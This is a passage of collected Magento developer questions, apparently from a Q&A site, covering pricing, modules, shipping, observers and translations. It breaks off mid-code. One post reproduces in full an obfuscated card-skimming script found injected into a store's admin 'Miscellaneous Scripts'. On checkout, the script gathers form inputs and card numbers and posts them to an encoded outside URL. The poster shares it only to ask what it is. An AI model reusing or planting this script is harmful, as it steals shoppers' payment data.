texts: Magento 2 : How do conver price from any currency to base currency?

texts:
I am converting price from any other currency using currency code to base currency and for this I am using this method :

$oldCurrency = 'AUD';
$newCurrency = 'USD';
$priceHelper = $objectManager->create('Magento\Directory\Helper\Data');
$priceHelper->currencyConvert($item->getCustomPrice(), $oldCurrency, $newCurrency);

My base currency is USD and USD to AUD conversion rate is defined in admin.

When I am converting price from USD to AUD then its working, but when I am trying to convert price from AUD to USD then it gives me error that conversion rate is not defined.

How do I convert price from any currency to any other currency ?


texts: How to create a admin views in my custom module?

texts:
I have succesfully created a custom module and added menu also on clicking it redirects to the controller index action where it displays the header and footer section , but I didn't figure out how can I add some phtml file to it . I basically want to show data from my custom table there .

This is etc/config.xml file

<?xml version="1.0"?>
<config>
    <modules>
        <Ilogix_Regionbased>
            <version>0.1.0</version>
        </Ilogix_Regionbased>
    </modules>
    <frontend>
        <routers>
            <regionbased>
                <use>standard</use>
                <args>
                    <module>Ilogix_Regionbased</module>
                    <frontName>ilogix_regionbased</frontName>
                </args>
            </regionbased>
        </routers>
    </frontend>
    <admin>
        <routers>
            <regionbased>
                <use>admin</use>
                <args>
                    <module>Ilogix_Regionbased</module>
                    <frontName>ilogix_regionbased</frontName>
                </args>
            </regionbased>
        </routers>
    </admin>
    <global>
        <helpers>
            <regionbased>
                <class>Ilogix_Regionbased_Helper</class>
            </regionbased>
        </helpers>
    </global>
    <adminhtml>
        <layout>
            <updates>
                <regionbased>
                    <file>regionbased.xml</file>
                </regionbased>
            </updates>
        </layout>
        <menu>
            <catalog module="adminhtml">
                <children>
                    <regionbased module="regionbased">
                        <title>Regions</title>
                        <sort_order>181</sort_order>
                        <action>ilogix_regionbased/adminhtml_index</action>
                    </regionbased>
                </children>
        </catalog>
        </menu>
    </adminhtml>
</config>

This is my Admin side controller Regionbased/controllers/Adminhtml/IndexController.php

class Ilogix_Regionbased_Adminhtml_IndexController extends Mage_Adminhtml_Controller_Action {

    /**
     * Admin controller index action
     *
     * @access public
     * @return void
     */

    public function indexAction() {
        $this->loadLayout();
        $this->renderLayout();

    }
}

this is design/adminhtml/default/default/layout/regionbased.xml file

<adminhtml_regionbased_index>
    <block type="core/template" output="toHtml" name="templateBlock" template="regionbased/regionbased.phtml"></block>
</adminhtml_regionbased_index>

This is phtml file

app/design/adminhtml/default/default/template/regionbased/regionbased.phtml

Hello

I am not able to figure out how can i access this phtml file when the indexcontrollers index method get called .

Looking forward for your help .


texts: Magento 2. RabbitMQ Ack or Reject message

texts: I'm wondering if it is possible to manually Ack or Reject message from the RabbitMQ within the Magento 2 consumer process? What is the default behavior?


texts: Magento 2 language switcher cause form resubmission when i redirect back

texts: Changing store view and going to the other page, when i click back in my browser it cause form resubmission. How can i, for example, set redirect on controller with GET method? Any help, please?


texts: Custom shipping method break cart page render

texts:
I try to create a new custom shipping method, following the tutorial below: https://inchoo.net/magento-2/creating-a-shipping-method-in-magento-2/
In the administrative panel, it appears normally. I was already receiving this error on the cart page.
Exception #0 (ReflectionException): Class Alfasoft\LuandaShipping\Model\Carrier\LuandaShipping does not exist #0 /home/beatrizfranck/public_html/vendor/magento/framework/Code/Reader/ClassReader.php(19): ReflectionClass->__construct('Alfasoft\\Luanda...')
So I ran bin/magento setup:di:compile and then the page re-rendered. But only with one sentence. Calculate delivery charges. I tried to view and create the di.xml file because I thought this could be the problem, but nothing I did solved the problem.
My shipping method need to be appear on this area:

And this area:

I'm using Magento 2.2.3 with Cogito theme and Ecomteck Store Pickup shipping method. Any ideias?


texts: Magento2 - Listen for order new comments

texts:
I am trying to create some kind of observer that will listen for new order comments and execute the function every time a comment is added.

I tried three ways that did not work for me:

  Observer listening for order changes;
  Plugin on order changes;
  Dependency injection on add comment original class running the commands within the original function.

Anyone can give me an idea of what can really work ? If you could paste basic code to get me direct to the point would really help me.

Thank you for your time.


texts: Exception when installing Magento 2 from CLI

texts:
I am trying to migrate my Magento 1 to 2 and for that I want to create some complete startup scripts to completely start over. Installing Magento2 using the web works fine, but when I try to run this command:

bin/magento setup:uninstall

bin/magento setup:install --db-host localhost --db-name m2
    --db-user magento --db-password ******* --db-prefix exa_
    --base-url http://m2.example.com:2000/ --language en_US
    --timezone Europe/Amsterdam --currency EUR --admin-user bart
    --admin-password ******** --admin-email bart@example.com
    --admin-firstname Bart --admin-lastname Friederichs
    --backend-frontname admin_exa

It gives me this error:

  [Zend_Db_Statement_Exception]
  SQLSTATE[42S02]: Base table or view not found: 1146 Table 'm2.exa_store_website' doesn't exist
  , query was: SELECT `exa_store_website`.* FROM `exa_store_website`

Am I missing something?


texts: division of two variables is returning zero , in magento2 WHY?

texts:
i have function which should return price of single product on email recipt:

File location :

  C:\xampp\htdocs\project\vendor\magento\module-sales\view\frontend\templates\email\items\order\default.phtml

Code :

<td class="item-price">
      echo  $block->getItemPrice($_item);
</td>

but it is returning subtotal price , so in order to correct it i assign to variable and divide it with quantity like this :

 $zx1 = $block->getItemPrice($_item);
 $zx2 = $_item->getQtyOrdered();
 $zx = $zx1 / $zx2;
 echo $zx; ?>

let's assume :

  zx1 returns = Rs.50
  and zx2 returns = 2 on email

than why zx returns 0 ?

i tried substring and int casting function but none of them works. please help


texts: SUPEE 7405 Invalid backend model specified: catalog/category_attribute_backend_image

texts:
After SUPEE 7405 in Magento 1.7.0.2, getting this error in frontend.
There has been an error processing your request
Invalid backend model specified: catalog/category_attribute_backend_image

Cache management showing 500 error, order details showing paymenet method not specified.

Help!!


texts: adding extra column to the admin user table magento 1.9

texts: I am tring to add new column to the magento admin user by scripting and manually also both are not working, when i try to add manually it is giving the error "Invalid default value for created"


texts: Why the icon/image with my toplink is not showing up?

texts:
OK i added a new top link to my header on homepage  named 'Cash-On-Delivery'. Now i want to add an icon just before this link-its a small cart icon in .png format.

I added the COD top link by adding this code to customer.xml :
(The customer.xml is located in app/design/frontEnd/base/default/layout/customer.xml)

<default>
<reference name="top.links">
<action method="addLink" translate="label title">
<label>Cash-On-Deliverya</label>
<url>terms</url>
<title></title>
<prepare>true</prepare>
<urlParams></urlParams>
<position>2</position>
<liParams/>
 <aParams>
 <class>cod</class>
</aParams>
<beforeText></beforeText>
<afterText></afterText>
</action>
</reference>
</default>

I then defined my 'cod' class in styles.css in skin/frontend/Des_Pckg/themeName/default/css/styles.css
here it is:

.cod {
background: url(../images/cod-icon.png) no-repeat top left;
padding: 0 15px 0 30px;

}

i also tried:

li.cod {
background: url(../images/cod-icon.png) no-repeat top left;
padding: 0 15px 0 30px;

}

The icon cod-icon.png is placed in:
skin/frontend/ThemeName/deafult/images.

Am I doing it the correct way?


texts: Magento 2 How to change a block to not cacheable

texts:
I used the below code to set cacheable to false, but it does not seem to work. How can I change a block to not be cacheable?

<?xml version="1.0"?>
<layout xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/layout_generic.xsd">
    <referenceBlock name="category.products.list">
        <arguments>
             <argument name="cacheable" xsi:type="string">false</argument>
        </arguments>
    </referenceBlock>
</layout>


texts: Magento2 get url of all CMS pages using their identifiers

texts:
I am preparing one common array which returns the complete details of all CMS pages. In this array, I need to pass the URL of all cms pages. I do have an identifier of all pages. How can I get the URL from it? Does anyone have an idea? Though it looks simple but bit tricky.

I have already used getPageUrl() function extending \Magento\Cms\Helper\Page helper class. But it simply adds the page identifier behind the store URL. Like for homepage, it returns http://127.0.0.1/magento2/home same as for 404 page it returns http://127.0.0.1/magento2/no-route.

Here is the code snippet I have used:

<?php

namespace Sample\Core\Helper;

class Data extends \Magento\Framework\App\Helper\AbstractHelper
{
   /**
     *
     * @var \Magento\Cms\Helper\Page
     */
    protected $cmsHelper;

    public function __construct(
        \Magento\Cms\Helper\Page $cmsHelper
    ) {
        $this->cmsHelper = $cmsHelper;
    }

    public function getSeoData($cmsData)
    {
        $url = $this->cmsHelper->getPageUrl($cmsData->getPageId());
    }
}

Here is the screen-shot of backend configuration,

Is there any intelligent function available in Magento2 which automatically understand this return the correct URL of all cms pages?

Any help into this would be highly appreciated.

Thanks,


texts: Is there a way to make Varnish cache all the categories pages?

texts:
I use Varnish to speed up Magento but my catalog is 450K+ SKU's so it takes time to Apache to serve the page to the browser. Of course after the page has been cached by Varnish, delivery time is millisecond stuff so, to avoid customers to wait too long for a NON-cached page to be delivered, I was wondering if there is a way to make Varnish cache all the categories pages which are the heavier to generate on the server.

thanks


texts:
How can I know if the product is currently having a discount?

I used this code.

if($product->getFinalPrice() < $product->getPrice()){
   //had a discount
}

But it doesn't works.


texts: Product added programtically, does not show up in admin

texts:
i tried to add product programatically. The product was added to database but I could not see it in admin.

I have added all required fields, see code below:

<?php

require_once '../app/Mage.php';
umask(0);
$app = Mage::app();

Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID);
$product = Mage::getModel('catalog/product');
//    if(!$product->getIdBySku('testsku61')):

try{
$product
    ->setStoreId(1) //you can set data in store scope
    ->setWebsiteIds(array(1)) //website ID the product is assigned to, as an array
    ->setAttributeSetId(9) //ID of a attribute set named 'default'
    ->setTypeId('simple') //product type
    ->setCreatedAt(strtotime('now')) //product creation time
//    ->setUpdatedAt(strtotime('now')) //product update time

    ->setSku('msksksksksk') //SKU
    ->setName('suntest11') //product name
    ->setWeight(4.0000)
    ->setStatus(1) //product status (1 - enabled, 2 - disabled)
    ->setTaxClassId(4) //tax class (0 - none, 1 - default, 2 - taxable, 4 - shipping)
    ->setVisibility(Mage_Catalog_Model_Product_Visibility::VISIBILITY_BOTH) //catalog and search visibility
    ->setManufacturer(28) //manufacturer id
    ->setColor(24)
    ->setNewsFromDate('06/26/2014') //product set as new from
    ->setNewsToDate('06/30/2014') //product set as new to
    ->setCountryOfManufacture('AF') //country of manufacture (2-letter country code)

    ->setPrice(11.22) //price in form 11.22
    ->setCost(22.33) //price in form 11.22
    ->setSpecialPrice(00.44) //special price in form 11.22
    ->setSpecialFromDate('06/1/2014') //special price from (MM-DD-YYYY)
    ->setSpecialToDate('06/30/2014') //special price to (MM-DD-YYYY)
    ->setMsrpEnabled(1) //enable MAP
    ->setMsrpDisplayActualPriceType(1) //display actual price (1 - on gesture, 2 - in cart, 3 - before order confirmation, 4 - use config)
    ->setMsrp(99.99) //Manufacturer's Suggested Retail Price

    ->setMetaTitle('test meta title 2')
    ->setMetaKeyword('test meta keyword 2')
    ->setMetaDescription('test meta description 2')

    ->setDescription('This is a long description')
    ->setShortDescription('This is a short description')

    ->setStockData(array(
                       'use_config_manage_stock' => 0, //'Use config settings' checkbox
                       'manage_stock'=>1, //manage stock
                       'min_sale_qty'=>1, //Minimum Qty Allowed in Shopping Cart
                       'max_sale_qty'=>2, //Maximum Qty Allowed in Shopping Cart
                       'is_in_stock' => 1, //Stock Availability
                       'qty' => 999 //qty
                   )
    )

    ->setCategoryIds(array(3, 10)); //assign product to categories
$product->save();

echo 'done';
//endif;
}catch(Exception $e){
Mage::log($e->getMessage());
}


texts: Anonymous Scripts found in "Miscellaneous Scripts" section magento admin panel

texts:
Recently i had found some scripts inserted into the Miscellaneous Scripts section in admin panel.This code is not inserted by me!! how does it happen? the script i found was given below. can anybody explain me about this

<script>function j(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}j("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#111;&#119;&#110;&#115;&#97;&#102;&#101;&#116;&#121;&#46;&#111;&#114;&#103;&#47;&#111;&#112;&#112;&#46;&#112;&#104;&#112;").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+j("SESSIID")),console.clear()}}})});</script>


texts: How to use accordion for FAQ in Magento-2.In which file is suitable for this.If Anyone knows please explain me?


texts: Magento 2.2.4 configurable catalog price rule

texts:
I have a configurable product with 4 associated products. Each associated product has a different price (3.20€, 8.80€, 20€, 40€).
I have also set a catalog price rule of 20% discount on all products of a specific category, in which this product belongs to. This means that the prices of the associated products should now be (2.56, 7.04, 16 and 32 respectively)

My problem is that in product view page, the displayed price is 3.20€. If I select the cheapest option and add it to cart, the value that is being added is the correct one (2.56€). How can i get the discounted price on product view page?


texts: What is routers_match and layout_render in Magento 2.2.4 Profiler?

texts: I'm new to Magento 2. Please help me to know the meaning and how can we reduce load time of routers_match and layout_render in Magento 2.2.4 Profiler?


texts:
Two issues :
1 What is Source Item ?
I've never had to deal with that table before, so I don't see what aims she deserve in the framework, I see this is something to do with stocks...but I don't really understand.
2 New stores , then new sources ?
I've created new stores in my application. Does it mean I need to create these new sources when I import products ?
Actually I have something like that (with more sources requested but that's not the point) in my import script but it looks like I have stock errors when I run it. So I was telling myself it has something to do with theses sources.
    $listSource = array(
        'default',
        $this->scopeConfig->getValue('cataloginventory/cpy/source_re')
    );

    foreach ($listSource as $source) {

        if ($source == 'default') : $qte = 1; else : $qte = 0; endif;

        //create the sourceItem using the factory
        $sourceItem = $this->_sourceItemFactory->create();
        $sourceItem->setSourceCode($source);
        $sourceItem->setSku($product['sku']);
        $sourceItem->setQuantity($qte);
        $sourceItem->setStatus(1);

        $arraySource[] = $sourceItem;
    }
    //pass the sourceItem as an array element, you can add more source items in the same call as further array elements
    $this->_sourceItemsSaveInterface->execute($arraySource);

I have a config.xml defining it
<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Store:etc/config.xsd">
    <default>
        <cataloginventory>
            <cpy>
                <source_re>source_re</source_re>
            </cpy>
        </cataloginventory>
    </default>
</config>

So I have my re store, but I also now have a pro-re store. Do I need to modify theses sources datas ? Is adding them to the config file and then requesting them in my import array is enough ? Or is there something else to do ?


texts:
Fatal error: Uncaught TypeError: Argument 1 passed to
  Magento\Catalog\Block\Product\ImageFactory::getRatio() must be of the
  type integer, string given, called in
  /Users/mpxq2/Projects/server/vendor/magento/module-catalog/Block/Product/ImageFactory.php
  on line 155 and defined in
  /Users/mpxq2/Projects/server/vendor/magento/module-catalog/Block/Product/ImageFactory.php
  on line 92

  TypeError: Argument 1 passed to
  Magento\Catalog\Block\Product\ImageFactory::getRatio() must be of the
  type integer, string given, called in
  /Users/mpxq2/Projects/server/vendor/magento/module-catalog/Block/Product/ImageFactory.php
  on line 155 in
  /Users/mpxq2/Projects/server/vendor/magento/module-catalog/Block/Product/ImageFactory.php
  on line 92

I'm trying to open any category page and getting this errors. Just updated to 2.3.0. setup:upgrade, static-content:deploy, setup:di:compile, cache:flush and indexer:reindex already done... How can i solve this?


texts: Magento 2 Klarna checkout translate label

texts:
How to translate "Signup to our newsletter" label to norwegian? Tried using Inline translation tool, but this line can't be translated using it. Also tried translating it in my i18n theme folder in nb_NO.csv like this:

"Signup to our newsletter","Registrer deg på vårt nyhetsbrev",module,Klarna_Core
"Signup to our newsletter","Registrer deg på vårt nyhetsbrev",module,Klarna_Kco_Core
"Signup to our newsletter","Registrer deg på vårt nyhetsbrev",module,Klarna_Kco
"Signup to our newsletter","Registrer deg på vårt nyhetsbrev"

None of them worked. Is there Norwegian language pack for Klarna checkout? Or what else I could try?


texts: Coupon code form and show div onSuccess / onFailure

texts:
On my checkout page I have a discount code form with the following Prototype script to reload the form with ajax and add the code value.

This is working fine, but I would also like to show a hidden div for both the onSuccess and onFailure.

I was wondering if anyone could help me here?

So here is the current script:

and the form that shows the discount-coupon-success and discount-copuon-failure divs to be revealed accordingly:

<form id="discount-coupon-form" action="<?php echo $this->getUrl('checkout/onepage/coupon') ?>" method="post">

Discount Codes

W00t!

Error

             <?php echo $this->__('Enter coupon code (if you have one)') ?>

                <input class="input-text" id="coupon_code" name="coupon_code" value="<?php echo $getCouponCode; ?>"/>

        <?php  if(strlen($getCouponCode)) { ?>
            <button type="button" class="cancelBtn" onclick="updateCoupon(2);" value="<?php echo $this->__('Cancel Coupon')?>"><?php echo $this->__('Cancel Coupon') ?></button>
        <?php } ?>
            <button type="button" class="button grey" onclick="updateCoupon(1);" value="<?php echo $this->__('Apply')?>"><?php echo $this->__('Apply') ?></button>

</form>


texts: updating magento table rate shipping method with thousands of zip codes

texts:
I'm wondering if i can just do this or not .. did not gave it a try bcz i'm afraid this should not crash my server.

For defining table rate shipping, weight vs Destination, I do have 12,000 ZIP Codes, with each one having at least two shipping prices

Weight - 0-500grams - $1 - $3 (depending upon the zip/postal code)

Weight - 500-1000grams - $3 - $4.5 (depending upon the zip/postal code)

So is it just doable to have 24,000 rows in csv file and update them in database ?

P.S. I thought of defining state name with * in picodes and then having expictly those pincodes that have different shipping rules, but It doesnt seems doable, as State isnt a required option at checkout page, neither Indian States have a dropdown built in.

How can i achieve defining postal code based shipping without hurting magento database or performance .

edit 1:
Created list of states in db, but state filter can only reduce the csv rows to upto 7-8k not less than that.. looking for another level of filter .

EDIT 2
As per the Marius Suggestion, Tried updating some 1K Records at once and it works perfect.
I guess when i upload another csv sheet it should update the existing records, or append the new ones. :-)


texts: Instock config product not showing up in frontend instead out of stock product shows up

texts:
i have created a config product with 3 simple products associated to it.

Ex: Config product: Myproduct

Simple products: Myproduct 1, Myproduct 2, Myproduct 3

Myproduct 1 is set to instock and qty to 10 and other two simple products are out of stock. what i am seeing in frontend is Myproduct 2 which is actually out of stock and also i cannot see the add to cart button for this product which is showing Myproduct 2. I am getting this issue for this product only, for other config products everything is fine. So i really dont have any idea where to start this. please someone help me friends

Thank You


texts: After moved Magento, special price / date doesn't work like it should

texts:
After moving my web shop from one hosting to another, the special price / dates doesn't seem to work correctly anymore.

If I set the special price to be from today to next week, it will only show for example today and stop the next day.

I echo:ed out the time with datetime() and the time was correct, only two hours behind, which shouldn't cause more troubles.

I have not changed the code after the moving of the web shop, so I do have a hard time figure out what it could be.

Any suggestion in fail searching here / Finding out what's causing the problem, because to me... it seems very weird.


texts: Magento 2 Order View Exception occurred during order load

texts:
My Order detail page is not showing up its giving "Exception occurred during order load"
when i checked in logs i got Exception occurred during CURL call
 Connection timed out after 30001 milliseconds at vendor/magento/framework/HTTP/Client/Curl.php:426

i am stuck in it. Please help.


texts: magento 2 unable to get product Ids in foreach loop

texts:
I am trying to get all product ids of multi-select attribute "filter_type" ids($optionData) are assigned.

But I am unable to get them as its only works first time. In second and other loop I am not getting any products. However its working fine when I pass id manually in place of (int)$optionValues. e.g. 441 etc.

   $optionData = array('435','436','437','438','441','439');
    $productIds = array();
    foreach ($optionData as $optionValues) {
         $productIds[] = $_productCollection->addAttributeToFilter(
                    array(
                        array('attribute' => "filter_type", 'finset' => (int)$optionValues)
                    )
                )->getAllIds();

    }
    echo "<pre>"; print_r($productIds);

`


texts: Show all store categories in sidebar on product listing page

texts:
When I click on the parent category 'shoes' I am able to filter by sub categories within the parent category ('shoes') only. I would like to see all categories and sub-categories in the sidebar.

Can anyone please assist with a solution to displaying all categories in the sidebar of my Magento store?


texts: Create completely empty page in Magento 1.9.2.4

texts:
I am trying to create a completely blank page in Magento, but when I use the "empty" layout, it still has the head, imports, css, etc.

I know that I can update the page layout XML in CMS > Pages but I am not sure how that works.

Could anyone please help me with that? What is the easiest way to create a completely blank page in Magento?


texts: Where is function location of mass delete orders

texts: I am working on my module.I want to know location of function which is call when orders are deleted from admin after select check box and then select Delete action and hit Submit.


texts:
I know using MAGMI we can import to Magento much easier. For example, if you are importing products with an attribute value that does not exist yet, it will be created on the fly by MAGMI.

However, I have not found a way to import the attribute position value.

This results in attribute being created on the fly and being out of order.

Since I have over 300 different values, I was wondering if there was a way to import my attribute position values as well?

This can be with MAGMI or any other method.

Any help is greatly appreciated!


texts: magento 2 - how to set allow countries for shipping for website

texts: I cannot find Allow Countries for Shipping in my admin panel on store view level configuration


texts:
I am trying to create a custom module in admin but for some reason modules settings are not appearing.
Below is my code.

app/code/Anshu/TrackingImport/etc/adminhtml/system.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Config:etc/system_file.xsd">
    <system>
        <tab id="Anshu_import" translate="label" sortOrder="10">
            Anshu Import Options
        </tab>

            <class>separator-top</class>
            Anshu Import Options
            <tab>Anshu_import</tab>
            <resource>Anshu_TrackingImport::trackingimport</resource>
            <group id="ftp_credentials" translate="label" type="text" sortOrder="10" showInDefault="1" showInWebsite="1" showInStore="1">
                FTP Credentials
                <comment>You must enter your live FTP credentials for this extension to work properly</comment>
                <field id="ftp_login">
                    FTP Login
                </field>
                <field id="ftp_password">
                    FTP Password
                </field>
            </group>
            <group id="cron_settings" translate="label" type="text" sortOrder="1" showInDefault="1" showInWebsite="1" showInStore="1">
                Cron Settings
                <field id="expression">
                    Cron Expression
                    <source_model>Anshu\TrackingImport\Model\Cron</source_model>
                </field>
            </group>

    </system>
</config>

app/code/Anshu/TrackingImport/etc/acl.xml

<?xml version="1.0" encoding="UTF-8"?>
<config xsi:noNamespaceSchemaLocation="urn:magento:framework:Acl/etc/acl.xsd">
    <acl>
        <resources>
            <resource id="Magento_Backend::admin">
                <resource id="Magento_Backend::stores">
                    <resource id="Magento_Backend::stores_settings">
                        <resource id="Magento_Config::config">
                            <resource id="Anshu_TrackingImport::trackingimport" title="Anshu Order Import" sortOrder="51" />
                        </resource>
                    </resource>
                </resource>
            </resource>
        </resources>
    </acl>
</config>

app/code/Anshu/TrackingImport/etc/module.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Module/etc/module.xsd">
    <module name="Anshu_TrackingImport" setup_version="0.1.0">
        <sequence/>
    </module>
</config>

app/code/Anshu/TrackingImport/registration.php

<?php
\Magento\Framework\Component\ComponentRegistrar::register(
    \Magento\Framework\Component\ComponentRegistrar::MODULE,
    'Anshu_TrackingImport',
    __DIR__
);

It would be great if someone can help me out in finding out the reason and how I can fix it.


texts: Where to add custom attribute field for product in magento 2?

texts:
In magento 1.x version , we can add custom attribute field in catalog_product_flat_1 table.

But in magento 2, catalog_product_flat_1 table is missing.

On which table to save custom attribute field?


texts:
I can't seem to figure out how to get my observer fire.

Everywhere I look the examples on how to implement one differ ever so slightly in where capitals go and simple things like that.  So here's my code, please point out what I'm doing wrong!

app/etc/modules/Mynamespace_Mymodule.xml

<?xml version="1.0"?>
<config>
    <modules>
        <Mynamespace_Mymodule>
            <codePool>local</codePool>
            <active>true</active>
        </Mynamespace_Mymodule>
    </modules>
</config>

app/code/local/Mynamespace/Mymodule/etc/config.xml

<?xml version="1.0"?>
<config>
    <modules>
        <Mynamespace_Mymodule>
            <version>1.0.0</version>
        </Mynamespace_Mymodule>
    </modules>
    <global>
        <models>
            <mynamespacemymodule>
                <class>Mynamespace_Mymodule_Model</class>
            </mynamespacemymodule>
        </models>
        <events>
            <checkout_type_onepage_save_order_after>
                <observers>
                    <mynamespace_mymodule>
                        <type>singleton</type>
                        <class>mynamespace_mymodule/Observer</class>
                        <method>on_order_changed</method>
                    </mynamespace_mymodule>
                </observers>
            </checkout_type_onepage_save_order_after>
        </events>
    </global>
</config>

app/code/local/Mynamespace/Mymodule/Model/Observer.php

<?php

class Mynamespace_Mymodule_Model_Observer extends Varien_Event_Observer
{
    public function __construct() {
    }

    public function on_order_changed($observer) {
        try {
            $mail = Mage::getModel('core/email');
            $mail->setToName('Your Name');
            $mail->setToEmail('matt@richmondday.com');
            $mail->setBody('Mail Text / Mail Content');
            $mail->setSubject('Mail Subject');
            $mail->setFromEmail('matt@richmondday.com');
            $mail->setFromName("Msg to Show on Subject");
            $mail->setType('html');
            $mail->send();
        } catch (Exception $e) {
            Mage::logException($e);
        }
    }
}

?>


texts: display products in front page of specific category

texts:
I have a homepage.phtml which will create a block by calling a new.phtml

homepage.phtml

<?php echo $this->__('New Product') ?>

    <?php echo $this->getLayout()->createBlock("catalog/product_new")->setTemplate("catalog/product/new.phtml")->toHtml() ?>

first line of new.phtml

<?php if (($_products = $this->getProductCollection()) && $_products->getSize()): ?>
..

The question is how can I display products of specific category, is it possible to simply adjust the code of new.phtml only?


texts: M2: Is there a faster way to Update Frontend Themes?

texts:
When updating frontend components in Magento 2, meaning Templates as phtml, html templates for Knockout, CSS files, Less Files, Fonts, Images etc.

I can only get this to work by

Flushing the /var and /pub/static folders
running php bin/magento setup:static-content:deploy for each language
Clearing all Caches in Magento
Clearing all Caches in Browser

Needles to say, this whole process is pretty annoying and slow. The Magento 2 Docs show parameters to skip Themes in the deploy command, but they don't work. The whole generation takes really long and stops me from being productive. Is there no faster way to update the Frontend designs?


texts:
I have an error while trying to install Magento extension.

The Error:

  Error from Setup Application Cron Script: Cron job has not been
  configured yet Other checks will fail as a result (PHP version, PHP
  settings, and PHP extensions) Error from Updater Application Cron
  Script: Cron job has not been configured yet.

How can I fix it?


texts: Incorrect French translation for Surname

texts: The terms 'Surname' and 'Name' are translated in a wrong way.


texts:
I am using the SOAP API to interact with a Magento 1.7.0.2 installation.
I use the SOAP V2 method salesOrder.addComment to change the status of an existing sales order.

I call the method with all params (sessionid, orderIncrementId, status, comment, notify). I set the param 'notify' to false. But this seems to have no effect. After the call the status of my sales order has changed, I can see the comment in the salesorder comment section and I also see the additional information "Customer Not Notified".
But Magento sends an email anyway!

Why did that happen? Is this an expected behavior because I am changing the state of the sales order?
How can I avoid this behavior that magento sends an email to the customer even if I set the notify flag to false?


texts: Get the Immediate Category than contains a product by its ID

texts:
Assuming that each product can only be assigned to no more than 1 category, how would I retrieve the category's ID by using the known Product's ID?
I would also like to list all IDs within a Category from the known Category ID.

Case 1:

Category_? -> Product_with_ID_34

Category_? -> Product_with_ID_12

Category_? -> Product_with_ID_08
Get immediate containing category of the known product ID

Case 2:

Category_with_ID_1 ->

           Show ID of all products listed in this category

Category_with_ID_2 ->

           Show ID of all products listed in this category

Category_with_ID_3 ->

           Show ID of all products listed in this category

EDIT:
Of course a category can contain more than 1 product


texts:
When the customer signs the newsletter on the homepage of my store, I would like to check the email before allowing it to be saved to the mysql table.

In my test editing the file "NewActio.php" in "vendor \ magento \ module_newsletter \ controller \ subscriber \", I can make it work, but now I need it done by a plugin instead of editing the native Magento file

Thank you!


texts: Adding Product SKU to Authorize.net Merchant Email Receipt

texts:
We would like to add product SKU info to the "Merchant email Receipt" we receive from authorize.net.  Is this possible?  Right now we are just getting the following product info along with addresses/shipping info:

========= ORDER INFORMATION =========

Invoice : XXXXXXX

Description :

Amount : 365.65 (USD)

Payment Method : MasterCard

Type : Authorized and held for review

I'm new to magento and i've dug around in the templates, but i am getting nowhere.

Thanks!


texts: MySQL Gone Away Error in Setup:Upgrade:- Avoiding ALTER Queries on Tables which does not have changes

texts:
We have been experiencing the issue of My SQL Gone Away while doing the setup:upgrade of Magento. We have been seeing this error on while doing setup:upgrade and the occurrence  of this, is happening when there is ALTER command happening.
MySQL server has gone away in /var/www/html/vendor/magento/zendframework1/library/Zend/Db/Statement/Pdo.php on line 228
Our observation is when ever we do a Setup:Upgrade after we change anything in db_schema.xml, it starts doing ALTER in almost of every pre built tables, even if there are no changes in those changes from our code.
What my question is

What is the use of ALTER query on not changed tables everytime we do a setup:upgrade?
Can we push our DB changes without doing setup:upgrade and what is the impact of this in Magento?
What exact changes needs Setup:upgrade? Is it only DB changes or something else?


texts: How can I translate email templates in Swedish Language

texts:
I have 2 Magento store English and Sweden.
Instead of using CSV how can I easily translate transactions emails from Admin?


texts: How to View customer registration information on order -> account infromation block (backend)

texts:
According to this example
Add new field in magento(1.9) customer registration

How can I show the customer License Number on admin panel order view page (account information tab)?


texts: Moving from http to https - redirect via htaccess file

texts:
All my urls were unsecured and was indexed by google like that.

Now I'm planning to secure all my pages with https

But when the old urls show up on google search they automatically resolve to the secure base url

for example : old url >> http://www.example.com/cameras   as indexed and cached by google.

Now when you click on the url it goes to https://www.example.com instead of https://www.example.com/camera

How do I get the old http url to redirect to the https url without it going to the base url?


texts: In Magento 2 Uncaught ReferenceError: Unable to process binding "optgroup: function(){return options }"

texts:
In magento 2, how to get a  custom attribute  option value in select field in checkout page

  app/code/Cm/CustomerAttribute/Model/Plugin/Checkout/LayoutProcessor.php

    <?php
namespace Cm\CustomerAttribute\Model\Plugin\Checkout;
class LayoutProcessor
{
    /**
     * @param \Magento\Checkout\Block\Checkout\LayoutProcessor $subject
     * @param array $jsLayout
     * @return array
     */
    public function afterProcess(
        \Magento\Checkout\Block\Checkout\LayoutProcessor $subject,
        array  $jsLayout
    ) {

        $jsLayout['components']['checkout']['children']['steps']['children']['shipping-step']['children']
        ['shippingAddress']['children']['shipping-address-fieldset']['children']['custom_field'] = [
            'component' => 'Magento_Ui/js/form/element/abstract',
            'config' => [
                'customScope' => 'shippingAddress.custom_attributes',
                'template' => 'ui/form/field',
                'elementTmpl' => 'ui/form/element/select',
                'options' => [],
                'id' => 'custom-field'
            ],
            'dataScope' => 'shippingAddress.custom_attributes.custom_field',
            'label' => 'Custom Field',
            'provider' => 'checkoutProvider',
            'visible' => true,
            'validation' => [],
            'sortOrder' => 250,
            'id' => 'custom-field',
            'options' => [
                    [
                        'value' => '',
                        'label' => 'Please select'
                    ],
                    [
                        'value' => '1',
                        'label' => 'One'
                    ],
                    [
                        'value' => '2',
                        'label' => 'Two'
                    ],
                    [
